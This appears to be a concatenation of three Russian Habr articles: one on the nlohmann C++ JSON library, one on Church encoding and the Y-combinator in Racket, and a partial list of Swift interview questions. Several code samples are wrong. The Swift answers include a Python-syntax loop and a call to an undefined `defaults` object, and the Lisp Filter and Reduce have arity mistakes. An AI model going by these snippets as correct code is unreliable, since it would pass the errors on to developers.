**1.** «Мы используем большой фреймворк (boost, Qt, POCO, другой), который применяется во всех наших проектах и умеет 150 000 разных вещей, в том числе и JSON.»
**2.** «Мы придерживаемся подхода в котором для каждой задачи применяется своя легковесная библиотека. В частности, для JSON мы уже 150 000 лет назад выбрали отличную библиотеку %JSON\_LIB%, которая прекрасно работает.»
Да, всё так и есть. Вот только…
**Чем плох подход с использованием фреймворков**Во-первых, тянуть в проект огромный фреймворк ради одного JSON — как-то уныло. Ну ладно, допустим фреймворк у вас был и так. Но тогда придётся писать работу с JSON в терминах фреймворка, а это, как правило, тихий ужас. Посмотрите, например, на [документацию по JSON в Qt](http://doc.qt.io/qt-5/json.html) — куча собственных типов вроде QJsonArray, QJsonDocument, QJsonObject, QJsonValue и т.д. и их придётся использовать. О том, чтобы потом перенести код в другой проект (где этого фреймворка нет) можно сразу забыть. Ну или вот Boost: парсер JSON находится *очень логично* в модуле [Boost.PropertyTree](http://www.boost.org/doc/libs/1_54_0/doc/html/boost_propertytree/parsers.html#boost_propertytree.parsers.json_parser). Ага, так бы я и догадался. Т.е. нам предлагают плясать не от формата JSON, а от структуры данных «дерево», которая умеет себя читать в том числе и из JSON.
В общем, фреймворки навязывают нам своё виденье задачи, свой способ её решения и стремятся навсегда привязать нас к себе. Нет, если вы уверены, что нашли тот самый единственный и неповторимый фреймворк и будете с ним счастливы до конца жизни — воля ваша. Но я как-то не сторонник подобного фатализма.
**Чем плох подход с использованием библиотек**Плох он вот этой частью: "...150 000 лет назад выбрали отличную библиотеку...". Скорее всего речь идёт о чём-то, что начинало писаться чуть-ли не во времена DOSа и, без сомнения, работает, но при этом, пытаясь быть совместимым со всеми платформами и стандартами языка совершенно отстаёт от прогресса. Да, всё компилируется и работает, даже тесты проходит. Но библиотека совершенно не знакома с такими вещами, как ключевое слово auto, range-based циклы, строковые литералы, raw-строки, конструкторы перемещения, списки инициализации и прочие классные вещи, делающие код одновременно более эффективным и более легко читаемым. А ведь у библиотеки, созданной годы назад, есть обязательства по обратной совместимости, а значит просто так взять и добавить это всё она не может.
**Давайте немного помечтаем.**
А что, если бы JSON вошел в стандартную библиотеку нового стандарта С++? Что, если бы он был написан в терминах С++11\14 и без требований обратной совместимости со старыми стандартами языка? Что, если бы синтаксис этого модуля попытались бы сделать максимально приближенным к родному для JSON использованию «а-ля Javascript», но в том же время сохранить дух С++ (эффективность, минимальное потребление памяти, совместимость с STL)? Что, если бы его можно было включить в проект одним инклюдом и не беспокоиться о его сборке и линковке? Как бы это всё выглядело и работало?
И у нас есть ответ на этот вопрос! Давайте посмотрим на [JSON-библиотеку](https://github.com/nlohmann/json) для С++ написанную в соответствии со всеми этими принципами, ну и вообще написанной людьми для людей, а не чужими для хищников, как это обычно бывает.
Итак, пусть у нам нужно создать вот такой JSON-объект:
```
{
"name": "Habrahabr",
"nothing": null,
"answer": {
"everything": 42
},
"companies": ["Infopulse", "TM"],
"user": {
"name": "tangro",
"active": true
}
}
```
#### Давайте возьмём и создадим!
Качаем [github.com/nlohmann/json/blob/master/src/json.hpp](https://github.com/nlohmann/json/blob/master/src/json.hpp), включаем его инклюдом в cpp-файл.
```
#include "json.hpp"
using json = nlohmann::json;
```
```
// создаём пустой JSON-объект
json j;
```
```
// добавляем строку, которая будет храниться как std::string
j["name"] = "Habrahabr";
```
```
// добавляем пустой вложенный объект
j["nothing"] = nullptr;
```
```
// число внутри вложенного объекта
j["answer"]["everything"] = 42;
```
```
// добавляем массив строк (будет храниться как std::vector)
// обратите внимание - используются списки инициализации
j["companies"] = { "Infopulse", "TM" };
```
```
// добавляем ещё один объект - на этот раз используем список инициализации с парами "ключ"-"значение"
j["user"] = { {"name", "tangro"}, {"active", true} };
```
Кстати, используя последнюю фичу, вместо всего этого можно было бы написать создания объекта очень похожее на сам JSON-формат:
```
json j2 =
{
{"name", "Habrahabr"},
{"nothing", nullptr},
{"answer", {
{"everything", 42}
}},
{"companies", {"Infopulse", "TM"}},
{"user", {
{"name", "tangro"},
{"active", true}
}}
}
```
#### Так, а где же все эти модные фишки С++11?
А вот они.
```
// создание объекта из строкового литерала
json j = "{ \"active\": true, \"pi\": 3.141 }"_json;
```
```
// использование raw string
json j = R"(
{
"active": true,
"pi": 3.141
}
)"_json;
```
```
// использование auto
auto j = json::parse("{ \"active\": true, \"pi\": 3.141 }");
```
```
// использование range-based for
for (auto element : j) {
std::cout << element << '\n';
}
```
#### Так, ладно, я приверженец «классического» стиля, покажите мне совместимость с STL
```
// создание массива, синтаксис "а-ля std::vector"
json j;
j.push_back("foo");
j.push_back(1);
j.push_back(true);
```
```
// создание объекта, синтаксис "а-ля std::map"
json o;
o["foo"] = 23;
o["bar"] = false;
```
```
// поиск элемента
if (o.find("foo") != o.end()) {
// найдено
}
```
```
// итерация по массиву
for (json::iterator it = j.begin(); it != j.end(); ++it) {
std::cout << *it << '\n';
}
```
```
// перегруженный оператор [] и метод at(), поддержка std::string
const std::string tmp = j[0];
j[1] = 42;
bool foo = j.at(2);
```
```
// знакомые методы работы с контейнерами
j.size(); // 3 элемента
j.empty(); // true или false
j.type(); // json::value_t::array
j.clear(); // очищаем
```
```
// дамп в строку
std::string s = j.dump();
```
Ну а ещё есть поддержка создания JSON из любых STL-контейнеров (std::array, std::vector, std::deque, std::forward\_list, std::list, std::set, std::multiset, std::unordered\_set, std::unordered\_multiset). Для линейно-упорядоченных и упорядоченных ассоциативных контейнеров порядок элементов будет сохранён, для unordered-ассоциативных, понятное дело — нет.
#### Так, почти убедил
А ещё есть 100% покрытие библиотеки тестами и гарантия отсутствия утечек памяти от Valgrind.
#### Вот и всё.
В общем, я понимаю, что это «всего-лишь ещё одна библиотека для поддержки JSON» и по сути ничем она от миллиона других не отличается. Но как же всё-таки с ней удобно работать! | https://habr.com/ru/post/254075/ | null | ru | null |
# λ-исчисление и LISP

*Типичный любитель λ-исчисления.*
Однажды, бороздя просторы интернета, я наткнулся на новость о лиспоподобном, встраиваемом языке программирования [Shen](http://www.shenlanguage.org/). Раньше у них на главной странице висел пример кода на Лиспе. В примере авторы описывают абстрактную коллекцию и функции работы с ними.
Так уж совпало, что я являюсь тайным почитателем функционального программирования, а значит, в некоторой степени, лямбда-исчисления, которое состоит почти полностью из абстракций. Захотелось мне написать что-то максимально абстрактное и, что бы усложнить себе задачу, я решил, что встроенные типы данных это для слабых прикладников, а реализовать все нужно непременно в терминах кодирования Чёрча.
С лямбда исчислением я был знаком очень поверхностно, так как почти всегда статьи об этом разделе математики состоят полностью из формул, которые никак не попробовать на практике не представляется возможным. Поэтому пришла идея разобраться с ним на практике, и возможно привлечь на темную сторону силы адептов ~~машины Тьюринга~~ ООП.
Если вас не пугает Lisp, много лямбд и y-combinator (не тот, который с новостями),
### Вступление
Статья не претендует на полноту охвата материала или на замену [SICP](https://en.wikipedia.org/wiki/Structure_and_Interpretation_of_Computer_Programs). Я не являюсь математиком, и тем более не являюсь знатоком лямбда-исчисления. Единственное на что она претендует – это на линейность изложения. В тексте поставлена задача познакомить читателей с функциями как [first-class citizens](https://en.wikipedia.org/wiki/First-class_citizen) и сделать это в максимально интересной для лямбда-исчисления форме. В процессе написания кода, я попытаюсь объяснить то, что происходить понятным простым инженерам языком.
Сегодня сильно прослеживается тенденция заимствования концепций из функционального программирования императивными языками (даже в С++ после 30 лет комитет пошёл на такой авантюрный поступок. И да, Java8), поэтому есть надежда, что кому-то эта статья пригодиться. Естественно, если на Хабре найдутся любители лямбда-исчисления, которые меня смогут поправить, добавляйте комментарии.
Итак, «почему был выбрал Лисп» – спросите вы. Причин этому несколько. Первая – это то, что все примеры в статьях о функциональном программировании пишутся на Haskell'е. Вторая – это уже упомянутая книга: Structure and Interpretation of Computer Programs, которая является одной из самых любимых мною книжек и которую я рекомендовал прочитать всем, кто этого еще не сделал. Третья, потому что Лисп – это для настоящих хакеров.

*Старая добрая шутка*
На Хабре есть несколько статей о лямбда исчислении. Например [здесь](http://habrahabr.ru/post/176233/) и [здесь](http://habrahabr.ru/post/215807/). Некоторые из них раскрывают теорию шире, чем это попытаюсь сделать я, поэтому я бы советовал прочитать хотя бы одну их них для понимая того, чем мы будем заниматься. Я не буду приводить здесь всю теорию, дабы не усложнять статью. Для написания наших абстракций, нам будет достаточно статей на Википедии (все настоящие программисты так пишут программы). Англоязычные статьи шире раскрывают тему, поэтому можно использовать статьи об [Lambda Calculus](http://en.wikipedia.org/wiki/Lambda_calculus) и более развернутую статью с описанием кодирования типов [Church Encoding](http://en.wikipedia.org/wiki/Church_encoding).
Также нам надо знать язык программирования LISP. Но не переживайте, если Вы его не знаете, потому что весь синтаксис у него состоит из скобок, мы его быстро выучим. Все что нам надо это знать как лямбда термы записываются в Лиспе и, немного позже, для сокращения записи, несколько функций. Достаточно знать, что в Лиспе, что бы выполнить функцию, нужно заключить ее вызов в скобки, в которых первым аргументом будет имя функции, а за ним будут идти параметры (очень похоже на [польскую нотацию](http://en.wikipedia.org/wiki/Polish_notation)). То есть для нахождения суммы нужно писать (+ 2 3), для слияния строк (string-append «Hello» «world!»). Так же стоит сказать, что существует несметное количество диалектов Лиспа. Мы будем использовать [Racket](http://racket-lang.org/) из-за удобной среды разработки, но почти весь код будет работать с большинством диалектов (возможно нужно будет использовать другие функции для манипуляции строк и т.п.). Все ссылки на скачивание и инструкции по установке Вы сможете найти на сайте языка.
### λ-исчисление
Если Вы последовали моему совету прочитали о лямбда исчислении, вы уже знаете что в нем есть три правила для терма:
* переменная **x**, в Лиспе записывается точно так же, с помощью имени переменной;
* лямбда абстракция **(λx.t)**, может быть записана как обычная функция, известная нам из всех языков программирования: (define (fun x) t); или как безымянная лямбда (lambda (x) t).
* аппликация **(t s)**, это обычный вызов функции, в Racket'е так и записывается (t s).
Итак, с помощью объявления функции и ее вызова, мы попробуем написать систему типов и поможет нам в этом кодирование Чёрча (у Вас должна быть открыта вкладка с Википедией, где о ней написано). Как написал автор англоязычной статьи, это кодирование позволяет представить типы данных и операторы в терминах лямбда-исчисления. Мы это и проверим.
Небольшой недостаток того, что был выбран Лисп в том, что функция всегда требует предоставить ей все аргументы, а не [каррирует](http://en.wikipedia.org/wiki/Currying), как делает например Haskell или ML. Поэтому нам нужно будет явно использовать lisp-лямбды, или использовать функцию curry. Я постараюсь рассказать об этом по мере потребности.
Также в Racket уже зарезервированы некоторые нужные нам имена, поэтому все наши функции будет писать писать с заглавной буквы.
Запускаем среду разработки DrRacket и поехали.
### Булевые значения
Начнем мы из Булевых значений, они же *True* и *False*. По-началу их реализация может показаться немного странной – в лямбда исчислении все выглядит странно. В дальнейшем мы убедимся, что это работает.
Булевый тип данных для представляет ценность для нас только в том случае, если мы сможем их отличать друг от друга. Это можно сделать с помощью оператора (функции) *If*. На Википедии уже описан это тип (там все типы описаны), и мы, используя Лисп, перенесем их в редактор.
```
(define (True a b) a)
(define (False a b) b)
(define (If c a b) (c a b))
```
Используя интерактивный интерпретатор Racket (расположен снизу в нашей IDE), мы можем проверить работоспособность нашей булевой логики. Типы представляют собой функции, которые принимают два аргумента и возвращают или первый (в случае True), или второй (False). Оператор If просто вызывает их с нужными ветками:
```
> (If True "first" "second")
"first"
> (If False "first" "second")
"second"
```
Но это еще не все. Мы привыкли проверять несколько условий одновременно. Поэтому нужно расширить нашу булевую логику и ввести операторы (снова подсматриваем в Википедию). Функции не сложные. Пишем:
```
(define (And p q) (p q p))
(define (Or p q) (p p q))
(define (Not p) (p False True))
```
Тут все просто: *And* функция в случае успешного прохождения первого условия, проверяет второе; *Or* в случае успешной проверки возвращает себя, в случае неуспешной проверяет второе значение; *Not* меняет предикаты местами. Обязательно проверяем:
```
> (If (And True False) "first" "second")
"second"
> (If (And True True) "first" "second")
"first"
> (If (Or False True) "first" "second")
"first"
> (If (Or False False) "first" "second")
"second"
> (If (Or False (Not False)) "first" "second")
"first"
```
Все, можно считать себя знатоками лямбда исчисления. Но мы на этом не остановимся. Тут стоит отметить, что я буду использовать привычные нам типы для простоты. Дальше, когда у нас будет достаточно своих типов, мы будем оперировать с ними. Пока будем использовать строки и числа для иллюстрации.
### Натуральные числа
Натуральные числа – это числа, которые используются для счета. Мы с вами используем арабские цифры и десятичную систему счисления. Но на самом деле натуральные числа сами по себе являются очень интересной абстракцией и часто приводятся как пример использования [алгебраических типов данных](http://en.wikipedia.org/wiki/Algebraic_data_type).
Для представления чисел мы реализуем так называемые Church numerals (цифры Чёрча). Числом в такой кодировке является функция, которая принимает текущее значение и функцию роста. Например в случае с обычной арифметикой это могут быть 3 и +1. В конечном итоге, применив к начальному значению функцию роста N раз, получим натуральное число, которое его представляет. Я не хочу использовать для описания обычную арифметику. Дальше покажу почему.
Мы уже достаточно подковались в техническом плане. Пора приступить к реализации. Для иллюстрации будем использовать привычные для нас представления натуральных чисел: арабские цифры и строки. Для чисел функцией роста будет функция, которая складывает число с единицей (*PlusOne*), для строк – функция конкатенации с другой строкой, где в роли другой строки у нас будут палочки "|", как в школе (*Concat*):
```
(define (Nil f x) x)
(define (One f x) (f x))
(define (Two f x) (f (f x)))
(define (PlusOne x) (+ 1 x))
(define (Concat x) (string-append x "|"))
```
Тут становится понятно, почему я преднамеренно уклонялся от использования цифр при описании натуральных чисел. Это потому, что цифры Чёрча являются самодостаточными значениями. Если вы попробуете в интерпретаторе ввести 'Two', вы увидите, что интерпретатор возвращает лямбду #. Но, если вы не хотите определять руками все множество натуральных чисел, но хотите получить визуальное представление натурального числа, нужно ему передать в параметрах функцию увеличения значения и начальное значение. Доказательством для этого служит наш интерпретатор:
```
> Two
#
> (Two Concat "")
"||"
> (Two PlusOne 0)
2
```
Мы объявили 3 натуральных числа, в которых выполнение функции вложены друг в друга. Но было бы неплохо использовать например число 99, что бы определить 100, а не писать сто вложенных вызовов функций. В этом случае нам спешат на помощь функции следующего и предыдущего элементов. Реализовываем функции и сразу же перепишем наши числа:
```
(define (Succ n f x) (f (n f x)))
(define (Pred n f x) ((n (lambda (g) (lambda (h) (h (g f)))) (lambda (u) x)) (lambda (u) u)))
(define (Null f x) x)
(define (One f x) (Succ Null f x))
(define (Two f x) (Succ One f x))
(define (Three f x) (Succ Two f x))
(define (Four f x) (Succ Three f x))
(define (Five f x) (Succ Four f x))
```
Функция увеличения числа довольно проста, а вот уменьшения – сложнее. Для следующего по порядку числа мы просто оборачиваем исходное еще одним вызовом функции. Для взятия предшественника используется функция, которая пропускает первое применение функции роста в цепочке применения функции *f*.
Очевидно, что в лямбда-исчислении должны существовать арифметические операции с натуральными числами, иначе это были бы не числа совсем. Смотрим страницу Википедии и переписываем:
```
(define (Plus m n) (lambda (f x) (m f (n f x))))
(define (Minus m n) (lambda (f x) ((n (lambda (t) (lambda (r s) (Pred t r s))) m) f x)))
(define (MinusC m n) (lambda (f x) ((n (lambda (t) (curry Pred t)) m) f x)))
(define (Mul m n) (lambda (f x) (m (lambda (y) (n f y)) x)))
(define (IsZero n) (n (lambda (x) False) True))
(define (Eq m n) (IsZero (Minus m n)))
```
*Plus* применяет функцию сначала n раз, потом еще m. *Minus* применяет функцию предыдущего элемента к уменьшаемому числу (можно использовать каррирование, что бы получить более читаемую запись: *MinusC*). Функция умножения m раз повторяет n применений функции. Проверка на нуль: как известно *IsZero* возвращает свой аргумент не применяя функции, значит получим True, а все числа больше игнорируют свой аргумент и возвращают False. Проверка на равенство делает вычитание и проверяет на ноль (поскольку у нас нету отрицательных чисел, нужно в другую сторону тоже проверять). Деление и возведение в степень тоже есть, но мы их реализовывать не будем. Они есть на странице, попробуйте написать сами. Теперь с помощью операций мы можем определить числа побольше: десятки и сотни:
```
(define (Ten f x) (Mul Five Two))
(define (Hundred f x) (Mul Ten Ten))
```
И нарисуем сто палочек:
```
> (Hundred Concat "")
"||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||"
> ((Plus Two (Mul Four Ten)) PlusOne 0)
42
> (IsZero Null)
#
> (IsZero Two)
#
> (Eq Two Two)
#
> (Eq Two One)
#
```
### Пара
Продолжим парой значений. В лямбда-исчислении пара – это функция, которая замыкает два аргумента и «ждет» функцию, которую потом может применить к этим значениями. Очевидными кандидатами на такие функции есть взятие первого или второго элемента:
```
(define (Pair a b) (lambda (f) (f a b)))
(define (First p) (p (lambda (a b) a)))
(define (Second p) (p (lambda (a b) b)))
```
Функции доступа к элементу принимают пару и «скармливают» им лямбду, которая возвращает соответственно первый или второй аргумент. Проверяем:
```
> (First (Pair "first" "second"))
"first"
> (Second (Pair "first" "second"))
"second"
```
С помощью пары мы можем реализовать много абстракций: например списки и кортежи.
### Списки
Списки – самая часто используемая и часто изучаемая коллекция в функциональном программировании. В уже упомянутой книжке SICP, списки рассмотрены очень подробно. Собственно сам «LISP» расшифровывается как **Lis**t **P**rocessing Language. Поэтому к ним мы подойдем со всей ответственностью и энтузиазмом. В интернете часто можно наткнуться на описание списков в стиле лямбда-исчисления.
Собственно, список – это не что иное как пара значений (пары у нас уже есть): головной элемент и хвост, он же продолжение списка. На Википедии описаны 3 способа кодирования списков:
* с использование пары как элемента. Это позволяет хранить первым элементом пары индикатор того, что список пустой. Это вариант хорош тем, что функция с элементами очень простая – в зависимости от индикатора пустоты можно исполнять первую или вторую функцию;
* с использование одного элемента, а в пустом списке хранить false. В этом случает представление списка имеет более короткую записи, но работа немного сложнее, чем в первом случае;
* определять список с помощью [функции правой свертки](http://en.wikipedia.org/wiki/Fold_(higher-order_function)). Нам он не подходит, потому что сложный.
Мы выберем первый вариант, так он является наиболее наглядным. Для вывода элементов списка используем Лисп-функцию 'display', которая выводит свой аргумент в терминал. Дополнительно определим функцию вывода для чисел и палочек. Напомню, что каждый элемент списка у нас является еще одно парой, где первый элемент True если список пустой и False если содержит значимый элемент. Переписываем:
```
(define (NatToNumber m) (display (m PlusOne 0)))
(define (NatToString m) (display (m Concat "")))
; ...
(define (Nil) (Pair True True))
(define (IsNil) First)
(define (Cons h t) (Pair False (Pair h t)))
(define (Head l) (First (Second l)))
(define (Tail l) (Second (Second l)))
(define (ProcessList l f) ((If (IsNil l) (lambda ()(void)) (lambda ()(f (Head l))))))
(define (ConsZeroList n) (n (lambda (l) (Cons Null l)) (Nil)))
(define (ConsRangeList n) (Second (n
(lambda (p) (Pair (Minus (First p) One) (Cons (First p) (Second p))))
(Pair n (Nil)))))
```
Пока мы не умеем итерироваться по списку, потому что не знаем как сделать рекурсию. Поэтому все что нам остается – вручную перебирать элементы и работать с ними. Функция *ProcessList* применяет к текущему головному элементу переданную функцию-аргумент, или не делает ничего, если список пустой. Тут стоит заметить, что в лямбда-исчислении используется [normal order](http://en.wikipedia.org/wiki/Evaluation_strategy#Normal_order). Это означает, что функции сначала оборачивают свои аргументы, а потом исполняются. В Лиспе же используется [applicative order](http://en.wikipedia.org/wiki/Evaluation_strategy#Applicative_order) – аргументы функции вычисляются до того, как быть переданным. В теле функции *ProcessList* при проверке с If мы не хотим выполнять обе ветки одновременно, поэтому придется передавать в ветки исполнения лямбды и вызывать ту, которая возвращается после проверки. *ConsZeroList* создает список из нулей требуемый длинны, а ConsRangeList создает список из последовательности чисел. Они основаны на многократном применении натуральным числом функции над элементом. Проверяем в интерпретаторе:
```
> (define L1 (Cons One (Cons Two (Cons Three (Nil)))))
> (ProcessList L1 NatToNumber)
1
> (ProcessList (Tail (Tail L1)) NatToNumber)
3
> (ProcessList (Tail (Tail (Tail L1))) NatToNumber)
>
```
### Y-combinator
Итак, мы достигли апогея нашей статьи. Для того, что бы обрабатывать весь список, нам нужно итерироваться по нему. В данный момент мы не знаем как это сделать. А это можно сделать используя [Y-combinator](https://en.wikipedia.org/wiki/Fixed-point_combinator), он же Fixed-point combinator, он же комбинатор неподвижной точки. Что бы понять, почему он так называется, нужно читать много текста. Нам достаточно знать то, что если ему передать функцию, первым аргументом функции он передаст саму же себя. С помощью этого мы сможем рекурсивно выполнять операции на объектами (например списками).
Y-комбинатор очень хорошо объяснен в статье [Майка Венье](http://mvanier.livejournal.com/2897.html). В Википедии есть точное определение комбинатора. В вышеупомянутой статье есть код на Лиспе. Нам нужна функция для applicative order. Просто переписываем. Там же подсмотрим функцию вычисления факториала, которую мы можем переписать под наши натуральные числа:
```
(define (Y f) ((lambda (x) (x x)) (lambda (x) (f (lambda (y) ((x x) y))))))
(define (Fac n)
((Y
(lambda (f)
(lambda (m)
((If (Eq m Null) (lambda () One)
(lambda () (Mul m (f (Minus m One))))))))) n))
```
Проверим результат. Факториал десяти, в следствии того, что наша функция создает почти 4 миллиона лямбд, а потом их выполняет, вычисляется довольно долго:
```
> (NatToNumber (Fac Five))
120
> (NatToNumber (Fac Ten))
3628800
```
Теперь возьмемся за списки. С помощью Y-комбинатора, реализуем всеми любимую троицу функций для обработки списков: Map, Filter, Reduce; и функцию для вывода:
```
;Lists
(define (PrintList l)
(display "[")
((Y
(lambda (r)
(lambda (m)
((If (IsNil m)
void
(lambda ()
(NatToNumber (Head m))
(display ", ")
(r (Tail m)))))))) l)
(display "]"))
(define (Map l f)
((Y
(lambda (r)
(lambda (m)
((If (IsNil m)
Nil
(lambda () (Cons (f (Head m)) (r (Tail m))))))))) l))
(define (Filter l f)
((Y
(lambda (r)
(lambda (m)
((If (IsNil m) Nil
(lambda ()
((If (f (Head m))
(lambda () (Cons (Head m) (r (Tail m) f)))
(lambda () (r (Tail m) f)))))))))) l))
(define (Reduce l f z)
((Y
(lambda (r)
(lambda (m)
((If (IsNil m) z
(lambda () (f (Head m) (r (Tail m) f z)))))))) l))
```
Реализация этих функций описана во многих статья, поэтому я о них не буду много рассказывать. Лучше применим их на практике:
```
> (PrintList (ConsRangeList Ten))
[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, ]
> (PrintList (Map (ConsRangeList Ten) (lambda (x) (Plus x One))))
[2, 3, 4, 5, 6, 7, 8, 9, 10, 11, ]
> (PrintList (ConsZeroList Ten))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ]
> (PrintList (Map (ConsZeroList Ten) (lambda (x) (Plus x Hundred))))
[100, 100, 100, 100, 100, 100, 100, 100, 100, 100, ]
> (PrintList (Filter (ConsRangeList Ten) (lambda (x) (Not (Eq x Five)))))
[1, 2, 3, 4, 6, 7, 8, 9, 10, ]
> (NatToNumber (Reduce (ConsRangeList Ten) (lambda (x y) (Plus x y)) Null))
55
> (NatToNumber (Reduce (ConsZeroList Ten) (lambda (x y) (Plus x y)) Null))
0
```
### Эпилог
Вот так, используя одни только функции мы смогли реализовать все, что нужно обычному функциональщику для программирования. Надеюсь что материал понравился. Лямбда исчисление заслуживает того, что бы хотя бы с ним ознакомиться. Вот уже 30 лет функциональным языкам пророчат убийство ООП и императивных языков. Но сегодня все больше создается мультипарадигменных языком программирования. Возможно поэтому Хаскелль так и не стал широко распространенным.
Тем не менее, математическая красота заложенная в лямбда исчисление еще много десятилетий будет привлекать программистов всех специальностей.
Весь код можно посмотреть/скачать на [гитхабе](https://github.com/alexander-smoktal/lambda-calculus).
UPD: В комментариях [mapron](http://habrahabr.ru/users/mapron/) вспомнил [похожую публикацию](http://habrahabr.ru/post/248331/) с кодом на Javascript. | https://habr.com/ru/post/258825/ | null | ru | null |
# 50 вопросов и ответов для собеседования по Swift в 2022 году
Вопросы для собеседованияПеред вами список из 50 вопросов и ответов для собеседования по Swift. Эти вопросы посвящены программированию на Swift и разработке приложений для iOS. Вы должны знать ответы на них, прежде чем у вас появится шанс продемонстрировать свои навыки перед интервьюером.
Кроме того, не стесняйтесь использовать эти вопросы для собеседования по Swift для тренировки перед экзаменом.
Эти вопросы для собеседования расположены в случайном порядке, а не от простого к сложному.
Примечание переводчика (не настаиваю, но!):Ещё больше интересных статей (и интересных фактов) можно прочесть [в канале об iOS-разработке](https://t.me/iOS_Career).
### 1. Что вызывает ошибку в этом фрагменте кода? Как вы могли бы ее исправить?
```
let n1: Int = 1
let n2: Float = 2.0
let n3: Double = 3.34
var result = n1 + n2 + n3
```
ОтветВ Swift неявное приведение типов между двумя типами данных невозможно.
В приведенном выше коде вы пытаетесь сложить вместе три элемента, каждый из которых представляет собой другой тип данных.
Чтобы исправить это, необходимо преобразовать каждое значение к одному типу данных. Например:
```
var result = Double(n1) + Double(n2) + n3
```
### 2. Каким будет значение переменной len? Почему?
```
var arr1 = [1, 2, 3]
var arr2 = arr1
arr2.append(4)
var len = arr1.count
```
ОтветЗначение `len` равно 3, т.е. количество элементов в `arr1` равно 3. Это происходит потому, что присвоение `arr1` к `arr2` фактически означает, что копия `arr1` присваивается к `arr2`, поэтому `arr1` не затрагивается.
В Swift все основные типы данных (булевы, целые числа и т. д.), перечисления и структуры по своей природе являются типами значений.
Массивы тоже являются типами значений. Перемещая тип значения в Swift, вы, по сути, работаете с его копией. Например, при передаче типа значения в качестве аргумента функции создается его копия, поэтому все, что делает функция, не отражается на исходном значении.
### 3. В чем здесь проблема и как вы можете ее решить?
Рассмотрим этот фрагмент кода, который пытается получить цвет темы из локального хранилища устройства iOS:
```
var color = UserDefaults.standard.string(forKey: "themeColor")!
print(color)
```
Смогли ли вы заметить ошибку и исправить ее?
ОтветПервая строка извлекает цвет темы из *user defaults*. Этот метод, однако, возвращает *optional* (поскольку `themeColor` может быть не определен). Если ключ не найден, возвращается `nil`, что приводит к крашу:
```
fatal error: unexpectedly found nil while unwrapping an Optional value
```
Это происходит потому, что в первой строке используется `!` для *force unwrap* *optional*, которое теперь `nil`. *Force unwrapping* должно использоваться только тогда, когда вы на 100% уверены, что значение не `nil`.
Чтобы исправить это, вы можете использовать *optional binding* для проверки, найдено ли значение для ключа:
```
if let color = defaults.stringForKey("themeColor") {
print(color)
}
```
### 4. Какие потенциальные улучшения вы здесь видите?
Вы просматриваете пулл-реквест и столкнулись с этим методом:
```
func turnTo(direction: String){
if direction == "North" {
northAction()
} else if direction == "East" {
eastAction()
} else if direction == "South" {
southAction()
} else if direction == "West" {
westAction()
} else {
print("No valid direction specified")
}
}
```
Какие улучшения вы можете предложить автору кода?
ОтветДаже если этот код может работать, есть два момента, которые следует учитывать.
* Использование жестко закодированных строк типа (например, `"West"`) - плохая идея. Что если кто-то неправильно напишет это слово? Чтобы решить эту проблему, следует отказаться от жестко закодированных строк и вместо них использовать перечисление.
* Кроме того, как насчет использования оператора `switch` вместо длинного оператора `if-else`?
Благодаря этим улучшениям код станет более безопасным и читабельным:
```
enum Direction {
case North
case East
case South
case West
}
func turnTo(direction: Direction){
switch direction {
case .North: northAction()
case .East: eastAction()
case .South: southAction()
case .West: westAction()
default:
print("No valid direction specified")
}
}
```
### 5. Что такое перечисления (enumerations) в Swift?
**Перечисление** (enumeration)- это группа связанных значений.
Перечисления позволяют писать безопасный для типов код.
```
enum Direction {
case North
case East
case South
case West
}
```
Теперь в своем коде вы можете вызвать, например, `Direction.North`, вместо того чтобы использовать мистическую строку `"North"` (которая легко может быть неправильно написана и вызвать раздражающие ошибки).
**Больше информации о перечислениях можно прочесть в** [**этой статье**](https://www.codingem.com/enums-in-swift/)**.**
### 6. Что такое Optional в Swift? Как его создать?
`Optional` - это тип, который может хранить либо значение, либо `nil`. Вы можете создать optional, добавив вопросительный знак `?` после любого типа:
```
var number: Int? = 10
```
### 7. Что такое typealias в Swift? Как его можно создать?
`Typealias`, как следует из названия, является псевдонимом для существующего типа данных.
Вы можете создать его следующим образом:
```
typealias Weight = Float
```
Теперь вы можете использовать `Weight` вместо `Float`:
```
let mass1: Weight = 150.0
let mass2: Weight = 220.0
let total: Weight = mass1 + mass2
```
### 8. Назовите некоторые преимущества использования Swift.
Вот лишь некоторые из них:
* Swift - язык с типобезопасностью
* В нем есть поддержка замыканий
* Поддерживаются опциональные типы
* Встроенная обработка ошибок
* Поддерживается сопоставление шаблонов
### 9. Назовите 5 утверждений передачи управления (Control Transfer Statements) и опишите, как их использовать.
Вот они ~~слева-направо~~ (сверху-вниз):
* `Break`
* `Continue`
* `Fallthrough`
* `Throw`
* `Return`
Операторы передачи управления изменяют порядок выполнения вашего кода.
Например, вы можете использовать оператор передачи управления `break` для завершения выполнения цикла `for`, когда продолжение цикла считается ненужным:
```
for choice in choices:
if isCorrect(choice):
print("Correct choice found!")
break
```
### 10. Предложите небольшую доработку для следующего кода.
```
if age >= 18 {
driveCar()
} else {
doNotDrive()
}
```
Этот код хорошо работает - но можете ли вы предложить небольшое улучшение рефакторинга, чтобы сделать его еще лучше?
ОтветВы можете использовать [тернарный условный оператор](https://www.codingem.com/swift-one-liner-if-else-statements/) для преобразования этого выражения в однострочное, что в данном случае не ухудшает читабельность, а улучшает ее.
```
age >= 18 ? driveCar() : doNotDrive()
```
### 11. Как можно улучшить читаемость кода?
В нашей компании 20 разработчиков и 20 уникальных стилей кодирования. Как мы можем внедрить некоторые общие стили кодирования/лучшие практики?
ОтветМожно использовать линтер, например, [**Swiftlint**](https://medium.com/codex/swift-automatic-code-styling-tool-in-2021-971531595651). **Линтер** - это простой в настройке инструмент, который проверяет и исправляет ваши ошибки и внедряет лучшие практики и соглашения от вашего имени.
Вы можете использовать рекомендации по умолчанию, но также можете настроить его в соответствии с предпочтениями вашей компании.
### 12. Зачем нужен completion handler в Swift?
**Completion handlers** (обработчики завершения) — это замыкания в действии. Предположим, вы выполняете трудоемкую задачу, например сетевой запрос, и хотите что-то сделать сразу после завершения запроса.
Но вы определенно не хотите тратить ресурсы впустую, проверяя несколько раз, продолжается ли процесс или нет. Здесь используются обработчики завершения. Обработчик завершения — это замыкание, которое «вернется» сразу после завершения трудоемкого процесса. [Узнайте больше о замыканиях](https://www.codingem.com/swift-function-as-parameter/) и о том, как передать функцию в качестве параметра.
### 13. Как тестировать приложение без физического устройства?
Если у вас нет устройства iOS, вы можете использовать симуляторы устройств iOS от Apple для тестирования своих приложений на Mac.
### 14. Что делает init() в Swift?
